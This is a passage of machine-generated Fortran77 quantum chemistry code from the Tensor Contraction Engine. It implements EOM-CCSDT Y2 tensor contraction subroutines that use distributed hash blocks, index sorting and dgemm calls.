#include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER p1b INTEGER p2b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER h8b INTEGER h6b INTEGER p7b INTEGER h3b_1 INTEGER h4b_1 INTEGER h8b_1 INTEGER p1b_1 INTEGER h6b_1 INTEGER p7b_1 INTEGER h6b_2 INTEGER p7b_2 INTEGER p2b_2 INTEGER h8b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO p1b = noab+1,noab+nvab DO p2b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+p1b-1)+int_mb(k_spin+p2b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+p &1b-1)+int_mb(k_spin+p2b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+p1b-1),int_mb(k_sym+p2b-1)))) .eq. ieor(irrep_y,ieor(irrep_t &,irrep_v))) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+p1b-1) * int_mb(k_range+p2b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_16',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO h8b = 1,noab DO h6b = 1,noab DO p7b = noab+1,noab+nvab IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1)+int_mb(k_spin+h8b-1) & .eq. int_mb(k_spin+p1b-1)+int_mb(k_spin+h6b-1)+int_mb(k_spin+p7b- &1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+h8b-1),ieor(int_mb(k_sym+p1b-1),ieor(int_mb(k_sym+h6b-1),int &_mb(k_sym+p7b-1)))))) .eq. ieor(irrep_y,irrep_t)) THEN CALL TCE_RESTRICTED_6(h3b,h4b,h8b,p1b,h6b,p7b,h3b_1,h4b_1,h8b_1,p1 &b_1,h6b_1,p7b_1) CALL TCE_RESTRICTED_4(h6b,p7b,p2b,h8b,h6b_2,p7b_2,p2b_2,h8b_2) dim_common = int_mb(k_range+h8b-1) * int_mb(k_range+h6b-1) * int_m &b(k_range+p7b-1) dima_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+p1b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+p2b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_16',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_16',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(p7b_1 & - noab - 1 + nvab * (h6b_1 - 1 + noab * (p1b_1 - noab - 1 + nvab &* (h8b_1 - 1 + noab * (h4b_1 - 1 + noab * (h3b_1 - 1))))))) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+h3b-1) &,int_mb(k_range+h4b-1),int_mb(k_range+h8b-1),int_mb(k_range+p1b-1) &,int_mb(k_range+h6b-1),int_mb(k_range+p7b-1),4,2,1,6,5,3,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_16',3,MA_ERR &) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_16',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_16',5,MA_ERR) IF ((h8b .le. p2b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p2b_2 & - 1 + (noab+nvab) * (h8b_2 - 1 + (noab+nvab) * (p7b_2 - 1 + (noab &+nvab) * (h6b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h6b-1) &,int_mb(k_range+p7b-1),int_mb(k_range+h8b-1),int_mb(k_range+p2b-1) &,4,2,1,3,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_16',6,MA_ERR &) CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor &t),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_16',7,M &A_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_16',8,M &A_ERR) END IF END IF END IF END DO END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_16',9,MA_ERR) IF ((p1b .le. p2b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p2b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1) &,4,3,2,1,-1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p2b - & noab - 1 + nvab * (p1b - noab - 1 + nvab * (h4b - 1 + noab * (h3b & - 1))))) END IF IF ((p2b .le. p1b)) THEN CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p2b-1) &,int_mb(k_range+p1b-1),int_mb(k_range+h4b-1),int_mb(k_range+h3b-1) &,4,3,1,2,1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p1b - & noab - 1 + nvab * (p2b - noab - 1 + nvab * (h4b - 1 + noab * (h3b & - 1))))) END IF IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_16',10,MA_ER &R) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_16',11, &MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_17_1(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( p11 p1 )_yt + = 1 * Sum ( h8 h7 p5 ) * t ( p5 p11 h7 h8 )_t * y ( h7 h8 p1 p5 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER p11b INTEGER p1b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER h7b INTEGER h8b INTEGER p11b_1 INTEGER p5b_1 INTEGER h7b_1 INTEGER h8b_1 INTEGER h7b_2 INTEGER h8b_2 INTEGER p1b_2 INTEGER p5b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsubh(2) INTEGER isubh INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO p11b = noab+1,noab+nvab DO p1b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+p11b-1)+int_mb(k_spin+p1b- &1).ne.4)) THEN IF (int_mb(k_spin+p11b-1) .eq. int_mb(k_spin+p1b-1)) THEN IF (ieor(int_mb(k_sym+p11b-1),int_mb(k_sym+p1b-1)) .eq. ieor(irrep &_y,irrep_t)) THEN dimc = int_mb(k_range+p11b-1) * int_mb(k_range+p1b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_17_1',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab DO h7b = 1,noab DO h8b = h7b,noab IF (int_mb(k_spin+p11b-1)+int_mb(k_spin+p5b-1) .eq. int_mb(k_spin+ &h7b-1)+int_mb(k_spin+h8b-1)) THEN IF (ieor(int_mb(k_sym+p11b-1),ieor(int_mb(k_sym+p5b-1),ieor(int_mb &(k_sym+h7b-1),int_mb(k_sym+h8b-1)))) .eq. irrep_t) THEN CALL TCE_RESTRICTED_4(p11b,p5b,h7b,h8b,p11b_1,p5b_1,h7b_1,h8b_1) CALL TCE_RESTRICTED_4(h7b,h8b,p1b,p5b,h7b_2,h8b_2,p1b_2,p5b_2) dim_common = int_mb(k_range+p5b-1) * int_mb(k_range+h7b-1) * int_m &b(k_range+h8b-1) dima_sort = int_mb(k_range+p11b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+p1b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_17_1',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_17_1',2,MA_ERR) IF ((p5b .le. p11b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h8b_1 & - 1 + noab * (h7b_1 - 1 + noab * (p11b_1 - noab - 1 + nvab * (p5b &_1 - noab - 1))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p11b-1),int_mb(k_range+h7b-1),int_mb(k_range+h8b-1 &),2,4,3,1,1.0d0) END IF IF ((p11b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h8b_1 & - 1 + noab * (h7b_1 - 1 + noab * (p5b_1 - noab - 1 + nvab * (p11b &_1 - noab - 1))))) CALL TCE_SORT_4(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p11b-1 &),int_mb(k_range+p5b-1),int_mb(k_range+h7b-1),int_mb(k_range+h8b-1 &),1,4,3,2,-1.0d0) END IF IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_17_1',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_17_1',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_17_1',5,MA_ERR) IF ((p5b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (h8b_2 - 1 + noab &* (h7b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h7b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+p5b-1),int_mb(k_range+p1b-1) &,4,2,1,3,-1.0d0) END IF IF ((p1b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p5b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (h8b_2 - 1 + noab &* (h7b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h7b-1) &,int_mb(k_range+h8b-1),int_mb(k_range+p1b-1),int_mb(k_range+p5b-1) &,3,2,1,4,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_17_1',6,MA_E &RR) nsubh(1) = 1 nsubh(2) = 1 isubh = 1 IF (h7b .eq. h8b) THEN nsubh(isubh) = nsubh(isubh) + 1 ELSE isubh = isubh + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,2.0d0/FACTORIAL( &nsubh(1))/FACTORIAL(nsubh(2)),dbl_mb(k_a_sort),dim_common,dbl_mb(k &_b_sort),dim_common,1.0d0,dbl_mb(k_c_sort),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_17_1',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_17_1',8 &,MA_ERR) END IF END IF END IF END DO END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_17_1',9,MA_ERR) CALL TCE_SORT_2(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p1b-1) &,int_mb(k_range+p11b-1),2,1,1.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p1b - & noab - 1 + nvab * (p11b - noab - 1))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_17_1',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_17_1',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_17_2(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_ &offset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i1 ( p11 p1 )_yt + = -1/6 * Sum ( h10 h9 h8 p6 p5 ) * t ( p5 p6 p11 h8 h9 h10 )_t * y ( h8 h9 h10 p1 p5 p6 )_y IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER p11b INTEGER p1b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p5b INTEGER p6b INTEGER h8b INTEGER h9b INTEGER h10b INTEGER p11b_1 INTEGER p5b_1 INTEGER p6b_1 INTEGER h8b_1 INTEGER h9b_1 INTEGER h10b_1 INTEGER h8b_2 INTEGER h9b_2 INTEGER h10b_2 INTEGER p1b_2 INTEGER p5b_2 INTEGER p6b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER nsuperp(2) INTEGER isuperp INTEGER nsubh(3) INTEGER isubh INTEGER l_c INTEGER k_c DOUBLE PRECISION FACTORIAL EXTERNAL NXTASK EXTERNAL FACTORIAL nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO p11b = noab+1,noab+nvab DO p1b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+p11b-1)+int_mb(k_spin+p1b- &1).ne.4)) THEN IF (int_mb(k_spin+p11b-1) .eq. int_mb(k_spin+p1b-1)) THEN IF (ieor(int_mb(k_sym+p11b-1),int_mb(k_sym+p1b-1)) .eq. ieor(irrep &_y,irrep_t)) THEN dimc = int_mb(k_range+p11b-1) * int_mb(k_range+p1b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_17_2',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p5b = noab+1,noab+nvab DO p6b = p5b,noab+nvab DO h8b = 1,noab DO h9b = h8b,noab DO h10b = h9b,noab IF (int_mb(k_spin+p11b-1)+int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1 &) .eq. int_mb(k_spin+h8b-1)+int_mb(k_spin+h9b-1)+int_mb(k_spin+h10 &b-1)) THEN IF (ieor(int_mb(k_sym+p11b-1),ieor(int_mb(k_sym+p5b-1),ieor(int_mb &(k_sym+p6b-1),ieor(int_mb(k_sym+h8b-1),ieor(int_mb(k_sym+h9b-1),in &t_mb(k_sym+h10b-1)))))) .eq. irrep_t) THEN CALL TCE_RESTRICTED_6(p11b,p5b,p6b,h8b,h9b,h10b,p11b_1,p5b_1,p6b_1 &,h8b_1,h9b_1,h10b_1) CALL TCE_RESTRICTED_6(h8b,h9b,h10b,p1b,p5b,p6b,h8b_2,h9b_2,h10b_2, &p1b_2,p5b_2,p6b_2) dim_common = int_mb(k_range+p5b-1) * int_mb(k_range+p6b-1) * int_m &b(k_range+h8b-1) * int_mb(k_range+h9b-1) * int_mb(k_range+h10b-1) dima_sort = int_mb(k_range+p11b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+p1b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_17_2',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_17_2',2,MA_ERR) IF ((p6b .le. p11b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h10b_ &1 - 1 + noab * (h9b_1 - 1 + noab * (h8b_1 - 1 + noab * (p11b_1 - n &oab - 1 + nvab * (p6b_1 - noab - 1 + nvab * (p5b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p6b-1),int_mb(k_range+p11b-1),int_mb(k_range+h8b-1 &),int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),3,6,5,4,2,1,1.0d0) END IF IF ((p5b .le. p11b) .and. (p11b .lt. p6b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h10b_ &1 - 1 + noab * (h9b_1 - 1 + noab * (h8b_1 - 1 + noab * (p6b_1 - no &ab - 1 + nvab * (p11b_1 - noab - 1 + nvab * (p5b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p5b-1) &,int_mb(k_range+p11b-1),int_mb(k_range+p6b-1),int_mb(k_range+h8b-1 &),int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),2,6,5,4,3,1,-1.0d0) END IF IF ((p11b .lt. p5b)) THEN CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h10b_ &1 - 1 + noab * (h9b_1 - 1 + noab * (h8b_1 - 1 + noab * (p6b_1 - no &ab - 1 + nvab * (p5b_1 - noab - 1 + nvab * (p11b_1 - noab - 1))))) &)) CALL TCE_SORT_6(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p11b-1 &),int_mb(k_range+p5b-1),int_mb(k_range+p6b-1),int_mb(k_range+h8b-1 &),int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),1,6,5,4,3,2,1.0d0) END IF IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_17_2',3,MA_E &RR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_17_2',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_17_2',5,MA_ERR) IF ((p6b .lt. p1b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2 & - noab - 1 + nvab * (p6b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h10b_2 - 1 + noab * (h9b_2 - 1 + noab * (h8b_2 - 1)))))) &) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),int_mb(k_range+p5b-1 &),int_mb(k_range+p6b-1),int_mb(k_range+p1b-1),6,3,2,1,5,4,1.0d0) END IF IF ((p5b .lt. p1b) .and. (p1b .le. p6b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p1b_2 - noab - 1 + nvab * (p5b_2 - noab - 1 &+ nvab * (h10b_2 - 1 + noab * (h9b_2 - 1 + noab * (h8b_2 - 1)))))) &) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),int_mb(k_range+p5b-1 &),int_mb(k_range+p1b-1),int_mb(k_range+p6b-1),5,3,2,1,6,4,-1.0d0) END IF IF ((p1b .le. p5b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p6b_2 & - noab - 1 + nvab * (p5b_2 - noab - 1 + nvab * (p1b_2 - noab - 1 &+ nvab * (h10b_2 - 1 + noab * (h9b_2 - 1 + noab * (h8b_2 - 1)))))) &) CALL TCE_SORT_6(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1) &,int_mb(k_range+h9b-1),int_mb(k_range+h10b-1),int_mb(k_range+p1b-1 &),int_mb(k_range+p5b-1),int_mb(k_range+p6b-1),4,3,2,1,6,5,1.0d0) END IF IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('eomccsdt_y2_17_2',6,MA_E &RR) nsuperp(1) = 1 nsuperp(2) = 1 isuperp = 1 IF (p5b .eq. p6b) THEN nsuperp(isuperp) = nsuperp(isuperp) + 1 ELSE isuperp = isuperp + 1 END IF nsubh(1) = 1 nsubh(2) = 1 nsubh(3) = 1 isubh = 1 IF (h8b .eq. h9b) THEN nsubh(isubh) = nsubh(isubh) + 1 ELSE isubh = isubh + 1 END IF IF (h9b .eq. h10b) THEN nsubh(isubh) = nsubh(isubh) + 1 ELSE isubh = isubh + 1 END IF CALL dgemm('T','N',dima_sort,dimb_sort,dim_common,12.0d0/FACTORIAL &(nsuperp(1))/FACTORIAL(nsuperp(2))/FACTORIAL(nsubh(1))/FACTORIAL(n &subh(2))/FACTORIAL(nsubh(3)),dbl_mb(k_a_sort),dim_common,dbl_mb(k_ &b_sort),dim_common,1.0d0,dbl_mb(k_c_sort),dima_sort) IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('eomccsdt_y2_17_2',7 &,MA_ERR) IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('eomccsdt_y2_17_2',8 &,MA_ERR) END IF END IF END IF END DO END DO END DO END DO END DO IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT(' &eomccsdt_y2_17_2',9,MA_ERR) CALL TCE_SORT_2(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p1b-1) &,int_mb(k_range+p11b-1),2,1,-1.0d0/6.0d0) CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p1b - & noab - 1 + nvab * (p11b - noab - 1))) IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('eomccsdt_y2_17_2',10,MA_ &ERR) IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('eomccsdt_y2_17_2',1 &1,MA_ERR) END IF END IF END IF next = NXTASK(nprocs,1) END IF count = count + 1 END DO END DO next = NXTASK(-nprocs,1) call GA_SYNC() RETURN END SUBROUTINE eomccsdt_y2_17(d_a,k_a_offset,d_b,k_b_offset,d_c,k_c_of &fset) C $Id$ C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0 C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002) C i0 ( h3 h4 p1 p2 )_ytv + = -1/2 * P( 2 ) * Sum ( p11 ) * i1 ( p11 p1 )_yt * v ( h3 h4 p2 p11 )_v IMPLICIT NONE #include "global.fh" #include "mafdecls.fh" #include "sym.fh" #include "errquit.fh" #include "tce.fh" INTEGER d_a INTEGER k_a_offset INTEGER d_b INTEGER k_b_offset INTEGER d_c INTEGER k_c_offset INTEGER NXTASK INTEGER next INTEGER nprocs INTEGER count INTEGER h3b INTEGER h4b INTEGER p1b INTEGER p2b INTEGER dimc INTEGER l_c_sort INTEGER k_c_sort INTEGER p11b INTEGER p11b_1 INTEGER p1b_1 INTEGER h3b_2 INTEGER h4b_2 INTEGER p2b_2 INTEGER p11b_2 INTEGER dim_common INTEGER dima_sort INTEGER dima INTEGER dimb_sort INTEGER dimb INTEGER l_a_sort INTEGER k_a_sort INTEGER l_a INTEGER k_a INTEGER l_b_sort INTEGER k_b_sort INTEGER l_b INTEGER k_b INTEGER l_c INTEGER k_c EXTERNAL NXTASK nprocs = GA_NNODES() count = 0 next = NXTASK(nprocs,1) DO h3b = 1,noab DO h4b = h3b,noab DO p1b = noab+1,noab+nvab DO p2b = noab+1,noab+nvab IF (next.eq.count) THEN IF ((.not.restricted).or.(int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1 &)+int_mb(k_spin+p1b-1)+int_mb(k_spin+p2b-1).ne.8)) THEN IF (int_mb(k_spin+h3b-1)+int_mb(k_spin+h4b-1) .eq. int_mb(k_spin+p &1b-1)+int_mb(k_spin+p2b-1)) THEN IF (ieor(int_mb(k_sym+h3b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb( &k_sym+p1b-1),int_mb(k_sym+p2b-1)))) .eq. ieor(irrep_y,ieor(irrep_t &,irrep_v))) THEN dimc = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb(k_ra &nge+p1b-1) * int_mb(k_range+p2b-1) IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL & ERRQUIT('eomccsdt_y2_17',0,MA_ERR) CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1) DO p11b = noab+1,noab+nvab IF (int_mb(k_spin+p11b-1) .eq. int_mb(k_spin+p1b-1)) THEN IF (ieor(int_mb(k_sym+p11b-1),int_mb(k_sym+p1b-1)) .eq. ieor(irrep &_y,irrep_t)) THEN CALL TCE_RESTRICTED_2(p11b,p1b,p11b_1,p1b_1) CALL TCE_RESTRICTED_4(h3b,h4b,p2b,p11b,h3b_2,h4b_2,p2b_2,p11b_2) dim_common = int_mb(k_range+p11b-1) dima_sort = int_mb(k_range+p1b-1) dima = dim_common * dima_sort dimb_sort = int_mb(k_range+h3b-1) * int_mb(k_range+h4b-1) * int_mb &(k_range+p2b-1) dimb = dim_common * dimb_sort IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL & ERRQUIT('eomccsdt_y2_17',1,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT(' &eomccsdt_y2_17',2,MA_ERR) CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(p1b_1 & - noab - 1 + nvab * (p11b_1 - noab - 1))) CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p11b-1 &),int_mb(k_range+p1b-1),2,1,1.0d0) IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('eomccsdt_y2_17',3,MA_ERR &) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL & ERRQUIT('eomccsdt_y2_17',4,MA_ERR) IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT(' &eomccsdt_y2_17',5,MA_ERR) IF ((p11b .lt. p2b)) THEN CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p2b_2 & - 1 + (noab+nvab) * (p11b_2 - 1 + (noab+nvab) * (h4b_2 - 1 + (noa &b+nvab) * (h3b_2 - 1))))) CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h3b-1) 